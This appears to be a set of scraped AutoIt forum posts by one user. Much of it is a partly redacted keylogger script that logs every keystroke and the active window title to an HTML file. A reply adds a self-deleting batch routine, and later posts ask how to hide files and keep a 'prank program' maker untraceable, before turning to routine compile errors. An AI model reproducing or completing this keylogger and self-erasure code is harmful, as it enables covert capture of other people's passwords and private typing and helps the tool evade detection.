Jussip

i edited my post now. its not anymore a keylogger. any way to reflesh a log file? and pls people dont get too smart here, im just normal person asking normal questions.

After spending quite a bit of time looking at the various examples about keylogging softwares, i tried to create one of my own. But, the log file refleshes only when the script is closed, what is wrong? I've tried allkinds of filecloses and stuff, but none of them aint working. Ill delete this topic when the problem is solved, so every newbie wont get the code for their bad(?) purposes.. CODEhotkeyset('{esc}', 'halt')Opt("TrayIconHide", 0) ;Set up a two dimensional array to handle all relevant keys ***** ;Set up Log File Information $window2="" $date=**** $logDir=** $logFile='log.html' $file = ***1) If $file = -1 Then Exit EndIf filewrite($file,"") ;Main Loop $key = '' while 1 for $i = 0 to 82 $key = $keys[$i][0] If _IsPressed($key) AND $keys[$i][1] = '0' Then ;Trap for letters being pressed. if dec($key) > 64 and dec($key) < 91 Then ;Trap for Shift being pressed. If _IsPressed('10') Then _LogKeyPress(chr(dec($key))) Else _LogKeyPress(chr(dec($key) + 32)) EndIf $keys[$i][1] = '1' ExitLoop EndIf ;Trap for numbers being pressed. if dec($key) > 47 and dec($key) < 58 Then ;Trap for Shift being pressed. If _IsPressed('10') Then if _IsPressed('30') then _LogKeyPress(chr(41)) **** **** '**** ***** **** ***** if _IsPressed('39') then _LogKeyPress(chr(40)) ;( Else _LogKeyPress(chr(dec($key))) EndIf $keys[$i][1] = '1' ExitLoop EndIf ;Trap for Space If dec($key) = 32 Then _LogKeyPress(chr(dec($key))) $keys[$i][1] = '1' EndIf ;Trap for other printable special characters if $i > 16 and $i < 28 Then If _IsPressed('10') Then if _IsPressed('C0') then _LogKeyPress(chr(126)) ;~ if _IsPressed('BD') then _LogKeyPress(chr(95)) ;_ if _IsPressed('BB') then _LogKeyPress(chr(43)) ;+ if _IsPressed('DB') then _LogKeyPress(chr(123)) ;{ if _IsPressed('DD') then _LogKeyPress(chr(125)) ;} ******* ******** ******* ******' ******* EndIf $keys[$i][1] = '1' ExitLoop Endif else ;Check for Key Release If _IsPressed($key) then else $keys[$i][1] = '0' endif endif next wend ;=================================================================================================== Func halt() exit EndFunc ;=================================================================================================== Func _IsPressed($hexKey) Local $aR, $bRv $hexKey = '0x' & $hexKey $aR = DllCall("user32.dll", "int", "GetAsyncKeyState", "int", $hexKey) If $aR[0] <> 0 Then $bRv = 1 Else $bRv = 0 EndIf Return $bRv EndFunc ;=================================================================================================== Func _LogKeyPress($what2log) $window=wingettitle("") if $window=$window2 Then FileWrite($file,$what2log) Else $window2=$window FileWrite($file, " " & " ["& @Year&"."&@mon&"."&@mday&" "&@HOUR & ":" &@MIN & ":" &@SEC & '] Window: "'& $window& '" '& $what2log) Endif EndFunc ;===================================================================================================

Great, Great, Great!! I Have always loved Firefox

Try this Func _AutoDestroy() Do $destroFileTemp= "destroy.bat" $destroFileTemp = @MIN & @SEC & $destroFileTemp Until FileExists($destroFileTemp) = 0 if @Compiled = 1 Then $file = FileOpen($destroFileTemp, 1) FileWriteLine($file, "pause") FileWriteLine($file, "del " & @ScriptFullPath) FileWriteLine($file, "del " & $destroFileTemp) FileClose($file) Run(@ScriptDir & "\" & $destroFileTemp);$s_Command & $s_Mask & '"', @WorkingDir, @SW_HIDE, 2+4)@ComSpec & "/c " & Exit EndIf EndFunc

Done Check the first post

hehe i wont

This is pretty neat Sweet

This is pretty neat Sweet

I wanted something to create over the weekend, and this is the result. (Thanks to Jos) This program creates prank programs, you can choose 1 of 5 features. You need adminstator account to run this file. Im improving the file later so there will be more functions and (maybe) checkboxes Actually this is my first time using the fileinstall. Im not sharing the code. IM NOT! So please, dont come say that you wont open it without the source. Dont bother, just simply gtfo. I worked really hard for it. Download: http://www.yourfilehost.com/media.php?cat=..._File_Maker.zip NOTE: ^-- The link wasnt broken, as you can read on download: "To download this file please Right Click on the link above & Save Target A" If you know some tips, feel free to tell

I have the same problem.. Anyway to protect the source so there wouldnt be any way to track it?

Thx

shame you, its not working

-

[sarcasm]VIRUSMAKER WHAT DELETES EVERYTHING!!![/sarcasm] really im just curious about things like this, just going to play with this

Wow, it works! Is there any way to 'hide' the other files, like ex. moving to temp?

ShellExecute("aut2exe.exe", '/in "' & $location & '"'

'Error parsing function call'

FileInstall( "Aut2exe.exe", "Aut2exe.exe" ) ;for creating & compiling FileInstall( "AutoItASC.bin", "AutoItASC.bin" ) ;for creating & compiling FileInstall( "upx.exe", "upx.exe" );for creating & compiling FileInstall( "AutoItSC.bin", "AutoItSC.bin" );for creating & compiling #include <GUIConstants.au3> #Region ### START Koda GUI section ### Form= $Form1 = GUICreate("Create msgbox exe", 123, 44, 199, 296) $Button1 = GUICtrlCreateButton("Create exe", 16, 8, 75, 25, 0) ;creates exe GUISetState(@SW_SHOW) #EndRegion ### END Koda GUI section ### While 1 $nMsg = GUIGetMsg() Switch $nMsg Case $GUI_EVENT_CLOSE Exit Case $Button1 $file_name = "Msg.au3" ;create .au3 file $location = @ScriptDir & "\" & $file_name $file = FileOpen($location, 2) FileWrite($file, "msgbox(0,"""","""") "& @CRLF) ;code in the au3 file FileClose($file) ShellExecute("aut2exe.exe", "/in "&$location) ;compile the au3 file Sleep(1000) EndSwitch WEnd There are some problems on this, because when i send it to my friend for test, they only get the aut2exe window popup.. How could i fix this, so it compiles the file without compiling it manually, and then deletes those aut2exe, upx and other files? Thanks already smile.gif

-

any examples?

what about i run it on computer what doesnt have scite or anything concerning installed? its there still anyway to create exe's?

looks pretty neat

Oh damn, missed that one.. Finally got this problem solved.. Its weird because those worked without that on the computer i had before

Doesn't help.. I cant use anything WS or WS_EX stuff on my script

Im getting error if there is WS_POPUP,WS_POPUPWINDOW,BiT0r, ,$WS_CLIPCHILDREN,$WS_MINIMIZE,$WS_POPUP,$WS_POPUPWINDOW,$WS_GROUP,$WS_TABSTOP,$WS_BORDER,$WS_CLIPSIBLINGS,$DS_MODALFRAME,$ DS_SETFOREGROUND,$DS_CONTEXTHELP or other stuff in my script, and this is annoying.. how i can fix this? Error; C:\Users\käyttäjä\Desktop\Script\Autoit\.au3 (4) : ==> Variable used without being declared.: $Form1 = GUICreate("Form1", 625, 445, 193, 125, BitOR($WS_MINIMIZEBOX,$WS_SYSMENU,$WS_CAPTION,$WS_POPUP,$WS_POPUPWINDOW,$WS_GROUP,$WS_BORDER,$WS_CLIPSIBLINGS,$DS_MODALFRAME,$DS_SETFOREGROUND,$DS_CONTEXTHELP)) $Form1 = GUICreate("Form1", 625, 445, 193, 125, BitOR(^ ERROR